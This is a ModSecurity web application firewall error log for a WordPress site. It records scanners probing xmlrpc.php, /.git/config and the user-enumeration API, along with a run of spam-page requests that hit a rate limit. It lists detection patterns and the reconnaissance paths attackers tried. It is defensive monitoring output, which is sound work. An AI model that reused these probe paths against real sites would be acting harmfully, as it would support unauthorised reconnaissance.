[Tue Feb 10 23:17:34.660687 2026] [:error] [pid 47830:tid 47861] [client 194.163.159.96:36514] [client 194.163.159.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.163.159.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtMDkco45BZs8e301Cs9QAAAA8"]
[Wed Feb 11 00:19:21.578371 2026] [:error] [pid 30054:tid 30065] [client 159.203.169.213:41098] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtaiWecgOOXCu-GgYVoygAAAQk"]
[Wed Feb 11 00:19:30.307398 2026] [:error] [pid 47837:tid 47921] [client 159.203.169.213:44994] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYtaknFY8KYFPX79Z4kcUgAAAJU"]
[Wed Feb 11 00:22:02.901319 2026] [:error] [pid 14804:tid 14960] [client 13.201.251.212:49238] [client 13.201.251.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.201.251.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtbKoL4gbfzj8YFRVolIgAAAZA"]
[Wed Feb 11 01:33:57.107158 2026] [:error] [pid 14804:tid 14946] [client 45.127.5.80:51044] [client 45.127.5.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.127.5.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtsBYL4gbfzj8YFRVo3sQAAAYI"]
[Wed Feb 11 01:52:25.497086 2026] [:error] [pid 46779:tid 46826] [client 91.239.146.172:56023] [client 91.239.146.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.239.146.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtwWdZrCpVdS6yMMkdVwgAAAIA"]
[Wed Feb 11 01:52:50.932496 2026] [:error] [pid 46635:tid 46651] [client 20.246.140.155:12481] [client 20.246.140.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.246.140.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtwcksK6EAyFtFakLpL0QAAAE4"]
[Wed Feb 11 01:52:57.980393 2026] [:error] [pid 14803:tid 14920] [client 129.226.82.190:34474] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtwebwzY9_NIasL_OXVngAAAQM"]
[Wed Feb 11 01:53:57.062923 2026] [:error] [pid 14804:tid 14950] [client 144.48.182.109:42068] [client 144.48.182.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.48.182.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYtwtYL4gbfzj8YFRVo8ZgAAAYY"]
[Wed Feb 11 02:41:37.961222 2026] [:error] [pid 14803:tid 14935] [client 45.132.246.32:58792] [client 45.132.246.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.246.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYt74bwzY9_NIasL_OXgZAAAARI"]
[Wed Feb 11 03:38:39.537429 2026] [:error] [pid 24743:tid 24827] [client 182.42.111.156:40146] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYuJP0Qwr8QBitRlcTRDogAAAAQ"]
[Wed Feb 11 03:52:27.429451 2026] [:error] [pid 62544:tid 62566] [client 178.156.131.150:60722] [client 178.156.131.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.156.131.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYuMe59woV2b40YfhDkSMgAAAAs"]
[Wed Feb 11 05:04:44.259227 2026] [:error] [pid 28073:tid 28096] [client 157.90.158.130:42628] [client 157.90.158.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.158.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYudbIeHYIlOlF-DsMx7vwAAANU"]
[Wed Feb 11 06:05:34.972195 2026] [:error] [pid 28073:tid 28091] [client 129.226.82.190:50242] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYurroeHYIlOlF-DsMybpwAAANA"]
[Wed Feb 11 06:05:36.705389 2026] [:error] [pid 28073:tid 28079] [client 69.163.174.53:52684] [client 69.163.174.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.174.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYursIeHYIlOlF-DsMybqQAAAMQ"]
[Wed Feb 11 06:06:04.154180 2026] [:error] [pid 17401:tid 17409] [client 116.103.108.158:42412] [client 116.103.108.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.103.108.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYurzA0lHeayTY40t36ibgAAAQY"]
[Wed Feb 11 06:06:16.882202 2026] [:error] [pid 22569:tid 22583] [client 203.162.234.20:37914] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYur2MAhSI7iX9G3enhVmAAAAYo"]
[Wed Feb 11 06:06:23.782662 2026] [:error] [pid 27966:tid 28047] [client 123.57.2.12:55108] [client 123.57.2.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.2.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYur318HJ9ydyf0SPu6_cAAAAJE"]
[Wed Feb 11 06:06:35.484354 2026] [:error] [pid 27966:tid 28034] [client 116.103.108.158:52810] [client 116.103.108.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.103.108.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYur618HJ9ydyf0SPu6_fgAAAIQ"]
[Wed Feb 11 06:20:42.114911 2026] [:error] [pid 27966:tid 28044] [client 217.77.10.74:64985] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYuvOl8HJ9ydyf0SPu7D4wAAAI4"]
[Wed Feb 11 10:07:54.639154 2026] [:error] [pid 27966:tid 28045] [client 122.51.236.174:45668] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYvkel8HJ9ydyf0SPu4LFgAAAI8"]
[Wed Feb 11 10:28:06.624651 2026] [:error] [pid 27965:tid 28023] [client 212.93.137.200:42660] [client 212.93.137.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.93.137.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYvpNtHLAUAIo8qpZyGzwQAAAFQ"]
[Wed Feb 11 10:36:39.086690 2026] [:error] [pid 22537:tid 22555] [client 62.192.188.82:45596] [client 62.192.188.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.192.188.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYvrNyfg2TagwM3bvQNwYAAAAVA"]
[Wed Feb 11 10:38:01.014570 2026] [:error] [pid 22569:tid 22580] [client 103.218.123.187:53184] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYvricAhSI7iX9G3enifuQAAAYc"]
[Wed Feb 11 10:38:06.180698 2026] [:error] [pid 22570:tid 22623] [client 89.46.109.106:27738] [client 89.46.109.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.109.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYvrjiE5uSe043FXwQrcMgAAAdc"]
[Wed Feb 11 10:38:42.137746 2026] [:error] [pid 17401:tid 17426] [client 68.65.122.212:38976] [client 68.65.122.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.65.122.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYvrsg0lHeayTY40t37gpgAAARc"]
[Wed Feb 11 12:37:32.239715 2026] [:error] [pid 27966:tid 28051] [client 45.55.85.213:47952] [client 45.55.85.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYwHjF8HJ9ydyf0SPu46VgAAAJU"]
[Wed Feb 11 12:37:38.849217 2026] [:error] [pid 22569:tid 22593] [client 45.55.85.213:35002] [client 45.55.85.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYwHksAhSI7iX9G3enjB8QAAAZQ"]
[Wed Feb 11 12:58:46.033019 2026] [:error] [pid 28073:tid 28097] [client 129.226.93.214:59964] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYwMhoeHYIlOlF-DsMwb5wAAANY"]
[Wed Feb 11 15:21:57.108673 2026] [:error] [pid 22537:tid 22544] [client 182.185.159.86:54055] [client 182.185.159.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.185.159.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwuFSfg2TagwM3bvQOz-wAAAUU"]
[Wed Feb 11 15:33:44.275146 2026] [:error] [pid 22569:tid 22581] [client 182.185.159.86:60718] [client 182.185.159.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aYww2MAhSI7iX9G3enjs7QAAAYg"]
[Wed Feb 11 15:35:11.015118 2026] [:error] [pid 28073:tid 28078] [client 182.185.159.86:61899] [client 182.185.159.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.185.159.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwxL4eHYIlOlF-DsMxfIAAAAMM"]
[Wed Feb 11 15:36:26.821057 2026] [:error] [pid 28073:tid 28080] [client 182.185.159.86:62840] [client 182.185.159.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.185.159.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwxeoeHYIlOlF-DsMxfogAAAMU"]
[Wed Feb 11 15:37:46.576502 2026] [:error] [pid 28073:tid 28078] [client 182.185.159.86:56736] [client 182.185.159.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.185.159.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwxyoeHYIlOlF-DsMxgKgAAAMM"]
[Wed Feb 11 15:39:08.708978 2026] [:error] [pid 22537:tid 22542] [client 182.185.159.86:60722] [client 182.185.159.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.185.159.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwyHCfg2TagwM3bvQO4CgAAAUM"]
[Wed Feb 11 15:39:21.051619 2026] [:error] [pid 28073:tid 28082] [client 184.168.120.235:55956] [client 184.168.120.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.120.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwyKYeHYIlOlF-DsMxg5QAAAMc"]
[Wed Feb 11 15:39:47.060113 2026] [:error] [pid 22569:tid 22574] [client 103.159.51.29:61411] [client 103.159.51.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.51.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYwyQ8AhSI7iX9G3enjt8gAAAYE"]
[Wed Feb 11 16:04:22.934748 2026] [:error] [pid 17401:tid 17420] [client 65.108.125.120:61222] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYw4Bg0lHeayTY40t34tQgAAARE"]
[Wed Feb 11 16:04:24.905204 2026] [:error] [pid 28073:tid 28079] [client 65.108.125.120:61230] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYw4CIeHYIlOlF-DsMxtEgAAAMQ"]
[Wed Feb 11 16:04:26.883628 2026] [:error] [pid 27966:tid 28054] [client 65.108.125.120:61232] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYw4Cl8HJ9ydyf0SPu5wngAAAJg"]
[Wed Feb 11 16:04:28.839488 2026] [:error] [pid 27965:tid 28010] [client 65.108.125.120:21376] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYw4DNHLAUAIo8qpZyEWHgAAAEc"]
[Wed Feb 11 16:04:30.739232 2026] [:error] [pid 27965:tid 28012] [client 65.108.125.120:21384] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYw4DtHLAUAIo8qpZyEWIgAAAEk"]
[Wed Feb 11 16:04:32.752690 2026] [:error] [pid 27966:tid 28043] [client 65.108.125.120:21396] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYw4EF8HJ9ydyf0SPu5wowAAAI0"]
[Wed Feb 11 16:04:34.722788 2026] [:error] [pid 22569:tid 22592] [client 65.108.125.120:21400] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYw4EsAhSI7iX9G3enj1hQAAAZM"]
[Wed Feb 11 16:04:36.676285 2026] [:error] [pid 27964:tid 27978] [client 65.108.125.120:21414] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYw4FMp0XgWYHLcQtEiLZwAAAAM"]
[Wed Feb 11 16:04:38.683161 2026] [:error] [pid 22537:tid 22563] [client 65.108.125.120:47848] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYw4Fifg2TagwM3bvQO-swAAAVg"]
[Wed Feb 11 16:04:40.887580 2026] [:error] [pid 22537:tid 22562] [client 65.108.125.120:47864] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYw4GCfg2TagwM3bvQO-twAAAVc"]
[Wed Feb 11 16:04:42.864037 2026] [:error] [pid 27966:tid 28031] [client 65.108.125.120:47876] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYw4Gl8HJ9ydyf0SPu5wrQAAAIE"]
[Wed Feb 11 16:04:44.894598 2026] [:error] [pid 27966:tid 28044] [client 65.108.125.120:47886] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYw4HF8HJ9ydyf0SPu5wsgAAAI4"]
[Wed Feb 11 16:04:47.037274 2026] [:error] [pid 27965:tid 28018] [client 65.108.125.120:47892] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYw4H9HLAUAIo8qpZyEWOgAAAE8"]
[Wed Feb 11 16:04:49.199027 2026] [:error] [pid 17401:tid 17405] [client 65.108.125.120:50270] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYw4IQ0lHeayTY40t34tZQAAAQI"]
[Wed Feb 11 16:04:51.318160 2026] [:error] [pid 22537:tid 22548] [client 65.108.125.120:50286] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYw4Iyfg2TagwM3bvQO-wAAAAUk"]
[Wed Feb 11 16:04:53.282725 2026] [:error] [pid 22569:tid 22574] [client 65.108.125.120:50292] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYw4JcAhSI7iX9G3enj1mQAAAYE"]
[Wed Feb 11 16:04:55.351689 2026] [:error] [pid 22570:tid 22604] [client 65.108.125.120:50304] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYw4JyE5uSe043FXwQoxrgAAAcQ"]
[Wed Feb 11 16:04:57.418675 2026] [:error] [pid 22570:tid 22619] [client 65.108.125.120:50314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYw4KSE5uSe043FXwQoxsAAAAdM"]
